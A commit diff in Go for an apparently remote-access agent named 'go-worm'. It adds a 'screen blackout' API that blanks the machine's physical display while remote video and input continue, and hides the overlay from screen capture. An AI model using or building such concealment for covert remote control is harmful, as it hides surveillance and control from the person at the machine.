feat(agent): add screen blackout feature

- Physical displays blanked via overlay
- Remote video and input keep working
- Exclude overlay from screen capture
- Add blackout API and UI toggle
- Wire flag through capture protocol

lib/agent/handlers.go

@@ -14,6 +14,7 @@ import (
 	"strings"
 	"time"
 
+	"tea.chunkbyte.com/kato/go-worm/lib/blackout"
 	"tea.chunkbyte.com/kato/go-worm/lib/capture"
 	"tea.chunkbyte.com/kato/go-worm/lib/command"
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -409,9 +410,37 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
 	w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
 	w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
 	w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
+	if blackout.Enabled() {
+		w.Header().Set("X-Screen-Blackout", "1")
+	}
 	_, _ = w.Write(frame.Data)
 }
 
+func (a *Agent) handleBlackout(w http.ResponseWriter, r *http.Request) {
+	switch r.Method {
+	case http.MethodGet:
+		helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
+	case http.MethodPut:
+		r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
+		defer r.Body.Close()
+		var body struct {
+			Enabled *bool `json:"enabled"`
+		}
+		if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Enabled == nil {
+			helpers.WriteError(w, http.StatusBadRequest, "enabled is required")
+			return
+		}
+		if err := blackout.Set(*body.Enabled); err != nil {
+			helpers.Log.Printf("blackout: %v", err)
+			helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
+			return
+		}
+		helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
+	default:
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+	}
+}
+
 func parseMicDevice(r *http.Request) (int, error) {
 	device := 0
 	if raw := r.URL.Query().Get("device"); raw != "" {